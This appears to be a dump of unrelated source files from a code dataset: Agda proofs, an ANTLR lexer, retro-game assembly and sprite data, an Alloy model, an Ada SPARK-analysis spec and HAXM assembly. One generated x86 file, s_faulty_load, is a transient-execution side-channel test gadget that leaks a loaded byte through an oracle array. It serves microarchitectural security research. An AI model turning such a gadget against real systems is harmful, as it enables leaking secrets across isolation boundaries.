=ₛ⟨ !ₛ (homotopy-naturality-to-idf (λ x → hX.μ x (pt X)) hX.unit-r (hX.unit-l a')) ⟩
ap (λ x → hX.μ x (pt X)) (hX.unit-l a') ◃∙
hX.unit-r a' ◃∎
=ₛ⟨ 0 & 1 & !ₛ (c a' (pt X)) ⟩
assoc (pt X) a' (pt X) ◃∙
hX.unit-l (hX.μ a' (pt X)) ◃∙
hX.unit-r a' ◃∎ ∎ₛ
coh-unit-r-to-unit-l-r-pentagon : (assoc : associator)
→ coh-unit-r assoc → coh-unit-l-r-pentagon assoc
coh-unit-r-to-unit-l-r-pentagon assoc c a' =
hX.unit-r (hX.μ (pt X) a') ◃∙
hX.unit-l a' ◃∎
=ₛ⟨ 0 & 1 & c (pt X) a' ⟩
assoc (pt X) a' (pt X) ◃∙
ap (hX.μ (pt X)) (hX.unit-r a') ◃∙
hX.unit-l a' ◃∎
=ₛ⟨ 1 & 3 &
homotopy-naturality-to-idf (hX.μ (pt X))
hX.unit-l
(hX.unit-r a') ⟩
assoc (pt X) a' (pt X) ◃∙
hX.unit-l (hX.μ a' (pt X)) ◃∙
hX.unit-r a' ◃∎ ∎ₛ
coh-assoc-pentagon-eq : (assoc : associator) → (a b c d : de⊙ X) → Type i
coh-assoc-pentagon-eq assoc a b c d =
assoc (hX.μ a b) c d ◃∙ assoc a b (hX.μ c d) ◃∎
=ₛ
ap (λ s → hX.μ s d) (assoc a b c) ◃∙ assoc a (hX.μ b c) d ◃∙ ap (hX.μ a) (assoc b c d) ◃∎
coh-assoc-pentagon : (assoc : associator) → Type i
coh-assoc-pentagon assoc = ∀ a b c d → coh-assoc-pentagon-eq assoc a b c d
HSpace-2-semi-category : {{X-level : has-level 1 (de⊙ X)}}
→ (assoc : associator)
→ coh-assoc-pentagon assoc
→ TwoSemiCategory lzero i
HSpace-2-semi-category assoc assoc-coh =
record
{ El = ⊤
; Arr = λ _ _ → de⊙ X
; Arr-level = λ _ _ → ⟨⟩
; two-semi-cat-struct =
record
{ comp = hX.μ
; assoc = assoc
; pentagon-identity = assoc-coh
}
}
|
src/main/antlr/BabelLexer.g4
|
VinnieH/babel
| 0 |
2475
|
<reponame>VinnieH/babel
lexer grammar BabelLexer;
INTEGER : DIGIT+ ;
FLOAT : DIGIT* '.' DIGIT+ ( ('e'|'E') '-'? DIGIT+)? ;
DIGIT : '0'..'9';
COS : 'cos';
SIN : 'sin';
TAN : 'tan';
ATAN : 'atan';
ACOS : 'acos';
ASIN : 'asin';
SINH : 'sinh';
COSH : 'cosh';
TANH : 'tanh';
COT : 'cot';
LN : 'ln';
LOG : 'log';
ABS : 'abs';
SQRT : 'sqrt';
CBRT : 'cbrt';
SQR : 'sqr';
CUBE : 'cube';
CIEL : 'ceil';
FLOOR : 'floor';
MAX : 'max';
MIN : 'min';
SGN : 'sgn';
CONSTANT
: 'pi' | 'e';
SUM : 'sum';
PROD : 'prod';
DYN_VAR : 'var' ;
VARIABLE : VARIABLE_START VARIABLE_PART*;
LAMBDA : '->' ;
LT : '<' ;
LTEQ : '<=' ;
GT : '>' ;
GTEQ : '>=' ;
EQ : '==' ;
MULT : '*' ;
DIV : '/' ;
MOD : '%' ;
PLUS : '+' ;
MINUS : '-' ;
EXPONENT : '^' ;
OPEN_PAREN : '(' ;
CLOSE_PAREN : ')' ;
OPEN_BRACKET : '[' ;
CLOSE_BRACKET : ']' ;
COMMA : ',' ;
ASSIGN : '=' ;
RETURN : 'return' ;
PLUS_MINUS : '+/-' ;
EOL : ';' ;
fragment
VARIABLE_START
: [a-zA-Z_]
| ~[\u0000-\u00FF\uD800-\uDBFF] //non 'surrogate' unicode
| [\uD800-\uDBFF] [\uDC00-\uDFFF] // covers UTF-16 surrogate pair-encodings for U+10000 to U+10FFFF
;
fragment
VARIABLE_PART
: [0-9]
| VARIABLE_START
;
LINEBREAKS : ('\r' | '\n' | ' ') -> skip ;
|
libsrc/graphics/retrofit/draw_callee.asm
|
jpoikela/z88dk
| 640 |
162947
|
;
; Generic trick to adapt a classic function to the CALLEE mode
;
; ----- void __CALLEE__ draw(int x, int y, int x2, int y2)
;
;
; $Id: draw_callee.asm $
;
SECTION smc_clib
PUBLIC draw_callee
PUBLIC _draw_callee
EXTERN draw
.draw_callee
._draw_callee
ld hl,retaddr
ex (sp),hl
ld (retaddr0+1),hl
ld hl,draw
jp (hl)
.retaddr
pop bc
pop bc
pop bc
pop bc
.retaddr0
ld hl,0
jp (hl)
|
src/util/icon/wwrap.asm
|
olifink/qspread
| 0 |
7449
|
* Sprite wwrap
*
* Mode 4
* +|-----------------+
* -www wwww ww wwgg -
* | gg |
* |wwwww wwww ww gg |
* | gg |
* |www wwww ww wwgg |
* | gg |
* |wwww ww wwwwwwwwww|
* | |
* | gg |
* | |
* | gg |
* | |
* | gg |
* | |
* +|-----------------+
*
section sprite
xdef mes_wwrap
xref mes_zero
mes_wwrap
dc.w $0100,$0000
dc.w 18,14,0,0
dc.l mcs_wwrap-*
dc.l mes_zero-*
dc.l sp_wwrap-*
mcs_wwrap
dc.w $EFEF,$6F6C
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $FBFB,$DBD8
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $EFEF,$6F6C
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $F6F6,$FFFF
dc.w $C0C0,$0000
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0000
*
sp_wwrap
incbin 'win1_util_icon_wwrap_spr'
end
|
Transynther/x86/_processed/AVXALIGN/_st_4k_sm_/i3-7100_9_0x84_notsx.log_192_3051.asm
|
ljhsiun2/medusa
| 9 |
102867
|
<reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x62ad, %rcx
nop
nop
nop
nop
sub $47160, %r13
movb (%rcx), %r14b
nop
nop
nop
nop
nop
and %r9, %r9
lea addresses_UC_ht+0x18fdd, %rbx
nop
nop
nop
nop
nop
dec %rdx
movl $0x61626364, (%rbx)
nop
and $5776, %r13
lea addresses_UC_ht+0x16a1d, %rsi
lea addresses_A_ht+0x14259, %rdi
nop
nop
nop
nop
xor %rbx, %rbx
mov $46, %rcx
rep movsq
nop
nop
nop
nop
mfence
lea addresses_normal_ht+0x1a285, %rdx
nop
nop
sub $16452, %r13
mov $0x6162636465666768, %rdi
movq %rdi, (%rdx)
add $24354, %r14
lea addresses_UC_ht+0x15b5d, %r13
clflush (%r13)
nop
nop
add %rdi, %rdi
movb $0x61, (%r13)
nop
and %r9, %r9
lea addresses_D_ht+0x1815d, %rbx
nop
nop
nop
nop
dec %rsi
mov $0x6162636465666768, %r14
movq %r14, (%rbx)
nop
nop
nop
cmp %rdi, %rdi
lea addresses_D_ht+0x10ddd, %r13
nop
nop
nop
nop
dec %r14
mov (%r13), %si
sub $30280, %rsi
lea addresses_D_ht+0x35dd, %rcx
add $5368, %rbx
mov $0x6162636465666768, %r9
movq %r9, (%rcx)
dec %rdx
lea addresses_normal_ht+0xbdd, %rdx
nop
nop
nop
nop
mfence
mov $0x6162636465666768, %r13
movq %r13, (%rdx)
and %rbx, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r9
push %rbp
push %rcx
push %rdi
// Store
mov $0x8e9, %r14
nop
xor $4898, %rdi
mov $0x5152535455565758, %rcx
movq %rcx, %xmm2
movups %xmm2, (%r14)
nop
nop
and %rbp, %rbp
// Store
mov $0x41f4680000000a85, %rcx
inc %r11
movl $0x51525354, (%rcx)
nop
nop
nop
dec %rcx
// Load
lea addresses_D+0x5b5d, %r11
xor %r14, %r14
vmovups (%r11), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r9
cmp %r13, %r13
// Store
lea addresses_WT+0x1ad9d, %rdi
nop
nop
nop
sub %r11, %r11
movl $0x51525354, (%rdi)
nop
nop
sub %r13, %r13
// Store
lea addresses_D+0xddd, %r13
nop
nop
sub %r14, %r14
movw $0x5152, (%r13)
and %r11, %r11
// Store
lea addresses_normal+0x101dd, %r14
nop
nop
nop
dec %rcx
mov $0x5152535455565758, %r9
movq %r9, %xmm5
movups %xmm5, (%r14)
nop
nop
nop
and %rbp, %rbp
// Load
lea addresses_US+0x1bd75, %r14
and %r13, %r13
vmovups (%r14), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rbp
nop
dec %r9
// Store
lea addresses_PSE+0x1fb95, %r14
nop
nop
nop
add %r13, %r13
movl $0x51525354, (%r14)
nop
dec %rbp
// Store
lea addresses_PSE+0x1cddd, %r13
xor %r11, %r11
mov $0x5152535455565758, %r14
movq %r14, %xmm6
movups %xmm6, (%r13)
nop
nop
sub $42149, %rbp
// Load
lea addresses_RW+0x7a97, %r11
clflush (%r11)
nop
inc %rdi
movups (%r11), %xmm1
vpextrq $0, %xmm1, %r14
add $27750, %rbp
// Store
lea addresses_PSE+0x14f95, %r13
inc %r11
movb $0x51, (%r13)
nop
nop
nop
nop
dec %r9
// Faulty Load
lea addresses_PSE+0x1cddd, %r9
nop
nop
nop
sub %r14, %r14
mov (%r9), %r11
lea oracles, %rdi
and $0xff, %r11
shlq $12, %r11
mov (%rdi,%r11,1), %r11
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'58': 192}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
_maps/FZ Eggmobile Legs.asm
|
kodishmediacenter/msu-md-sonic
| 9 |
88672
|
<reponame>kodishmediacenter/msu-md-sonic
; ---------------------------------------------------------------------------
; Sprite mappings - legs on Eggman's escape ship (FZ)
; ---------------------------------------------------------------------------
Map_FZLegs_internal:
dc.w @extended-Map_FZLegs_internal
dc.w @halfway-Map_FZLegs_internal
dc.w @retracted-Map_FZLegs_internal
@extended: dc.b 2
dc.b $14, $E, $28, 0, $F4
dc.b $24, 0, $28, $C, $EC
@halfway: dc.b 3
dc.b $C, 5, $28, $D, $C
dc.b $1C, 0, $28, $11, $C
dc.b $14, $D, $28, $12, $EC
@retracted: dc.b 2
dc.b $C, 1, $28, $1A, $C
dc.b $14, $C, $28, $1C, $EC
even
|
src/core/asm/arm/thumb/inst_0x90.asm
|
Hiroshi123/bin_tools
| 0 |
161494
|
<filename>src/core/asm/arm/thumb/inst_0x90.asm
;;; 1001|
__0x9x_ldr_str:
ret
|
alloy4fun_models/trashltl/models/9/iBuCCYaffGruXc7en.als
|
Kaixi26/org.alloytools.alloy
| 0 |
1370
|
open main
pred idiBuCCYaffGruXc7en_prop10 {
historically Protected in Protected
}
pred __repair { idiBuCCYaffGruXc7en_prop10 }
check __repair { idiBuCCYaffGruXc7en_prop10 <=> prop10o }
|
src/core/spat-spark_info.ads
|
HeisenbugLtd/spat
| 20 |
15008
|
<reponame>HeisenbugLtd/spat
------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>)
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
------------------------------------------------------------------------------
pragma License (Unrestricted);
------------------------------------------------------------------------------
--
-- SPARK Proof Analysis Tool
--
-- S.P.A.T. - Map information from JSON data into internal data structure.
--
-- Collect file contents.
--
------------------------------------------------------------------------------
private with Ada.Tags;
limited private with Ada.Containers.Hashed_Maps;
limited private with Ada.Containers.Hashed_Sets;
with SPAT.Entity.Tree;
limited with SPAT.Strings;
with SPAT.Timing_Item;
package SPAT.Spark_Info is
type Sorting_Criterion is
(None,
Name, -- Alphabetical
Max_Time, -- Maximum (accumulated) proof time
Max_Success_Time, -- Minimum time for successful proof
Max_Steps, -- Maximum (accumulated) proof steps
Max_Success_Steps -- Minimum steps for successful proof
);
type T is tagged limited private;
-- Binary representation of the information obtained from a .spark JSON
-- file.
---------------------------------------------------------------------------
-- Map_Spark_File
--
-- Traverses through the JSON data given in Root and translates it into
-- the data structure given in This.
--
-- Must be called first before the below subroutines can be called.
---------------------------------------------------------------------------
not overriding
procedure Map_Spark_File (This : in out T;
File : in SPARK_File_Name;
Root : in JSON_Value);
---------------------------------------------------------------------------
-- List_All_Entities
--
-- Returns an (optionally sorted) list of all entities (source unit names)
-- currently stored in This.
---------------------------------------------------------------------------
not overriding
function List_All_Entities
(This : in T;
Sort_By : in Sorting_Criterion := Name) return Strings.Entity_Names;
---------------------------------------------------------------------------
-- List_All_Files
--
-- Returns an (optionally sorted) list of the names of all files that have
-- been parsed into This.
---------------------------------------------------------------------------
not overriding
function List_All_Files
(This : in T;
Sort_By : in Sorting_Criterion := None) return Strings.SPARK_File_Names;
---------------------------------------------------------------------------
-- Num_Flows
--
-- Return the total number of flows (flow items) collected.
---------------------------------------------------------------------------
not overriding
function Num_Flows (This : not null access T)
return Ada.Containers.Count_Type;
---------------------------------------------------------------------------
-- Flow_Time
--
-- Reported time taken for the flow analysis for File.
---------------------------------------------------------------------------
not overriding
function Flow_Time (This : in T;
File : in SPARK_File_Name) return Duration;
---------------------------------------------------------------------------
-- Num_Proofs
--
-- Return the total number of proofs collected.
---------------------------------------------------------------------------
not overriding
function Num_Proofs (This : not null access T)
return Ada.Containers.Count_Type;
---------------------------------------------------------------------------
-- Proof_Time
--
-- Reported time taken for all the proofs for File.
---------------------------------------------------------------------------
not overriding
function Proof_Time (This : in T;
File : in SPARK_File_Name) return Duration;
---------------------------------------------------------------------------
-- Max_Proof_Steps
---------------------------------------------------------------------------
not overriding
function Max_Proof_Steps (This : in T;
File : in SPARK_File_Name) return Prover_Steps;
---------------------------------------------------------------------------
-- Max_Proof_Time
---------------------------------------------------------------------------
not overriding
function Max_Proof_Time (This : in T;
File : in SPARK_File_Name) return Duration;
---------------------------------------------------------------------------
-- Max_Success_Proof_Steps
--
-- Reported steps for the longest successful proof.
---------------------------------------------------------------------------
not overriding
function Max_Success_Proof_Steps
(This : in T;
File : in SPARK_File_Name) return Prover_Steps;
---------------------------------------------------------------------------
-- Max_Success_Proof_Time
--
-- Reported time for the longest successful proof.
---------------------------------------------------------------------------
not overriding
function Max_Success_Proof_Time (This : in T;
File : in SPARK_File_Name) return Duration;
---------------------------------------------------------------------------
-- Max_Proof_Steps
--
-- Maximum steps taken for a single proof for Entity.
---------------------------------------------------------------------------
not overriding
function Max_Proof_Steps (This : in T;
Entity : in Entity_Name) return Prover_Steps;
---------------------------------------------------------------------------
-- Max_Success_Proof_Steps
--
-- Maximum steps taken for a single successful proof for Entity.
---------------------------------------------------------------------------
not overriding
function Max_Success_Proof_Steps
(This : in T;
Entity : in Entity_Name) return Prover_Steps;
---------------------------------------------------------------------------
-- Max_Proof_Time
--
-- Maximum time taken for a single proof for Entity.
---------------------------------------------------------------------------
not overriding
function Max_Proof_Time (This : in T;
Entity : in Entity_Name) return Duration;
---------------------------------------------------------------------------
-- Max_Success_Proof_Time
--
-- Maximum time taken for a single successful proof for Entity,
-- considering all verification conditions and proof paths in them.
---------------------------------------------------------------------------
not overriding
function Max_Success_Proof_Time (This : in T;
Entity : in Entity_Name) return Duration;
---------------------------------------------------------------------------
-- Total_Proof_Time
--
-- Total (accumulated) time taken for all proofs for Entity.
---------------------------------------------------------------------------
not overriding
function Total_Proof_Time (This : in T;
Entity : in Entity_Name) return Duration;
---------------------------------------------------------------------------
-- Proof_List
--
-- List of proof items for given Entity, sorted by time.
---------------------------------------------------------------------------
not overriding
function Proof_Tree
(This : in T;
Entity : in Entity_Name) return SPAT.Entity.Tree.Forward_Iterator'Class;
---------------------------------------------------------------------------
-- Iterate_Children
---------------------------------------------------------------------------
not overriding
function Iterate_Children (This : in T;
Entity : in Entity_Name;
Position : in SPAT.Entity.Tree.Cursor)
return SPAT.Entity.Tree.Forward_Iterator'Class;
---------------------------------------------------------------------------
-- Has_Failed_Attempts
--
-- Returns True if any of the proof attempts for Entity do not have a
-- "Valid" result.
---------------------------------------------------------------------------
not overriding
function Has_Failed_Attempts (This : in T;
Entity : in Entity_Name) return Boolean;
---------------------------------------------------------------------------
-- Has_Unjustified_Attempts
--
-- Returns True if some of the proof attempts for Entity are not "Valid"
-- and there is no justification message.
---------------------------------------------------------------------------
not overriding
function Has_Unjustified_Attempts
(This : in T;
Entity : in Entity_Name) return Boolean;
---------------------------------------------------------------------------
-- Has_Unproved_Attempts
--
-- Returns True if some of the proof attempts for Entity do have a "Valid"
-- result.
---------------------------------------------------------------------------
not overriding
function Has_Unproved_Attempts (This : in T;
Entity : in Entity_Name) return Boolean;
---------------------------------------------------------------------------
-- Print_Trees
--
-- Debugging subroutine to print the trees to Standard_Output. Only does
-- something if the Verbose flag is set.
---------------------------------------------------------------------------
not overriding
procedure Print_Trees (This : in T);
private
type Source_Lines_Sentinel is new Entity.T with null record;
---------------------------------------------------------------------------
-- Image
---------------------------------------------------------------------------
overriding
function Image (This : in Source_Lines_Sentinel) return String is
(Ada.Tags.External_Tag (T => Source_Lines_Sentinel'Class (This)'Tag) & ": ()");
Empty_Source_Lines_Sentinel : constant Source_Lines_Sentinel :=
(Entity.T with null record);
type Flows_Sentinel is new Entity.T with null record;
---------------------------------------------------------------------------
-- Image
---------------------------------------------------------------------------
overriding
function Image (This : in Flows_Sentinel) return String is
(Ada.Tags.External_Tag (T => Flows_Sentinel'Class (This)'Tag) & ": ()");
Empty_Flows_Sentinel : constant Flows_Sentinel :=
(Entity.T with null record);
type Proof_Cache is
record
Max_Proof_Time : Duration;
Max_Proof_Steps : Prover_Steps;
Max_Success_Proof_Time : Duration;
Max_Success_Proof_Steps : Prover_Steps;
Total_Proof_Time : Duration;
Has_Failed_Attempts : Boolean;
Has_Unproved_Attempts : Boolean;
Has_Unjustified_Attempts : Boolean;
end record;
type Proofs_Sentinel is new Entity.T with
record
Cache : Proof_Cache;
end record;
---------------------------------------------------------------------------
-- Image
---------------------------------------------------------------------------
overriding
function Image (This : in Proofs_Sentinel) return String is
(Ada.Tags.External_Tag (T => Proofs_Sentinel'Class (This)'Tag) & ":" &
"(Max_Proof_Time =>" & This.Cache.Max_Proof_Time'Image &
", Max_Proof_Steps =>" & This.Cache.Max_Proof_Steps'Image &
", Max_Success_Proof_Time =>" & This.Cache.Max_Success_Proof_Time'Image &
", Max_Success_Proof_Steps =>" & This.Cache.Max_Success_Proof_Steps'Image &
", Total_Proof_Time => " & This.Cache.Total_Proof_Time'Image &
", Has_Failed_Attempts => " & This.Cache.Has_Failed_Attempts'Image &
", Has_Unproved_Attempts => " & This.Cache.Has_Unproved_Attempts'Image &
", Has_Unjustified_Attempts => " & This.Cache.Has_Unjustified_Attempts'Image &
")");
Empty_Proofs_Sentinel : constant Proofs_Sentinel :=
(Entity.T with
Cache => Proof_Cache'(Max_Proof_Time => 0.0,
Max_Proof_Steps => 0,
Max_Success_Proof_Time => 0.0,
Max_Success_Proof_Steps => 0,
Total_Proof_Time => 0.0,
Has_Failed_Attempts => False,
Has_Unproved_Attempts => False,
Has_Unjustified_Attempts => False));
-- Ordered set of known filenames. Used to build a cross reference from
-- an entity to the .spark file it has been found in.
package File_Sets is new
Ada.Containers.Hashed_Sets (Element_Type => SPARK_File_Name,
Hash => SPAT.Hash,
Equivalent_Elements => "=",
"=" => "=");
-- Type representing a source (file) entity.
type Analyzed_Entity is
record
SPARK_File : File_Sets.Cursor; -- File the entity was found in.
The_Tree : Entity.Tree.T; -- Holds all entities.
Source_Lines : Entity.Tree.Cursor; -- Currently unused.
Flows : Entity.Tree.Cursor; -- List of Flow_Items
Proofs : Entity.Tree.Cursor; -- List of Proof_Items
end record;
-- Entity_Name -> Analyzed_Entity mapping
package Analyzed_Entities is new
Ada.Containers.Hashed_Maps (Key_Type => Entity_Name,
Element_Type => Analyzed_Entity,
Hash => Hash,
Equivalent_Keys => "=");
-- File_Name -> Timings mapping
package File_Timings is new
Ada.Containers.Hashed_Maps (Key_Type => SPARK_File_Name,
Element_Type => Timing_Item.T,
Hash => Hash,
Equivalent_Keys => "=",
"=" => Timing_Item."=");
-- Cached information for calls to Max_Proof_Time and Max_Success_Proof_Time
-- on files.
type Cache_Info is
record
Max_Success_Proof_Time : Duration;
Max_Success_Proof_Steps : Prover_Steps;
Max_Proof_Time : Duration;
Max_Proof_Steps : Prover_Steps;
end record;
package File_Cached_Info is new
Ada.Containers.Hashed_Maps (Key_Type => SPARK_File_Name,
Element_Type => Cache_Info,
Hash => Hash,
Equivalent_Keys => "=",
"=" => "=");
type T is tagged limited
record
Files : File_Sets.Set;
Entities : Analyzed_Entities.Map; -- The list of entities.
Timings : File_Timings.Map; -- The "timings" block for a file.
-- Cached data
Cached : File_Cached_Info.Map; -- Info per file
Flow_Count : Ada.Containers.Count_Type'Base;
Proof_Count : Ada.Containers.Count_Type'Base;
end record;
end SPAT.Spark_Info;
|
core/ia32_ops.asm
|
hrbust86/haxm
| 1 |
171565
|
;
; Copyright (c) 2011 Intel Corporation
; Copyright (c) 2018 <NAME> <<EMAIL>>
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; 3. Neither the name of the copyright holder nor the names of its
; contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
; Detect architecture
;
%ifidn __OUTPUT_FORMAT__, elf32
%define __BITS__ 32
%define __CONV__ x32_cdecl
%elifidn __OUTPUT_FORMAT__, win32
%define __BITS__ 32
%define __CONV__ x32_cdecl
%elifidn __OUTPUT_FORMAT__, macho32
%define __BITS__ 32
%define __CONV__ x32_cdecl
%elifidn __OUTPUT_FORMAT__, elf64
%define __BITS__ 64
%define __CONV__ x64_systemv
%elifidn __OUTPUT_FORMAT__, win64
%define __BITS__ 64
%define __CONV__ x64_microsoft
%elifidn __OUTPUT_FORMAT__, macho64
%define __BITS__ 64
%define __CONV__ x64_systemv
%endif
;
; Describe calling convention
;
%ifidn __CONV__, x32_cdecl
;
; Although cdecl does not place arguments in registers, we simulate fastcall
; by reading the first 2 stack arguments into the ecx/edx respectively.
;
%define reg_arg1_16 cx
%define reg_arg1_32 ecx
%define reg_arg1 reg_arg1_32
%define reg_arg2_16 dx
%define reg_arg2_32 edx
%define reg_arg2 reg_arg2_32
%define reg_ret_16 ax
%define reg_ret_32 eax
%define reg_ret reg_ret_32
%elifidn __CONV__, x64_systemv
%define reg_arg1_16 di
%define reg_arg1_32 edi
%define reg_arg1_64 rdi
%define reg_arg1 reg_arg1_64
%define reg_arg2_16 si
%define reg_arg2_32 esi
%define reg_arg2_64 rsi
%define reg_arg2 reg_arg2_64
%define reg_ret_16 ax
%define reg_ret_32 eax
%define reg_ret_64 rax
%define reg_ret reg_ret_64
%elifidn __CONV__, x64_microsoft
%define reg_arg1_16 cx
%define reg_arg1_32 ecx
%define reg_arg1_64 rcx
%define reg_arg1 reg_arg1_64
%define reg_arg2_16 dx
%define reg_arg2_32 edx
%define reg_arg2_64 rdx
%define reg_arg2 reg_arg2_64
%define reg_ret_16 ax
%define reg_ret_32 eax
%define reg_ret_64 rax
%define reg_ret reg_ret_64
%endif
;
; Helpers
;
; Macro: function
; Declares a function. Arguments:
; - %1 Name of the function
; - %2 Number of arguments
;
%macro function 2
global %1
%1:
%ifidn __CONV__, x32_cdecl
%if %2 >= 3
%error "Unsupported number of arguments"
%else
%if %2 >= 1
mov reg_arg1, [esp + 0x4]
%endif
%if %2 >= 2
mov reg_arg2, [esp + 0x8]
%endif
%endif
%endif
%endmacro
%macro function_get_reg 1
function get_%+%1, 0
mov reg_ret, %1
ret
%endmacro
%macro function_set_reg 1
function set_%+%1, 1
mov %1, reg_arg1
ret
%endmacro
%macro function_get_segment 1
function get_kernel_%+%1, 0
mov reg_ret_16, %1
ret
%endmacro
%macro function_set_segment 1
function set_kernel_%+%1, 1
mov %1, reg_arg1_16
ret
%endmacro
section .text
struc qword_struct
.lo resd 1
.hi resd 1
endstruc
struc cpuid_args
._eax resd 1
._ecx resd 1
._edx resd 1
._ebx resd 1
endstruc
function __nmi, 0
int 2h
ret
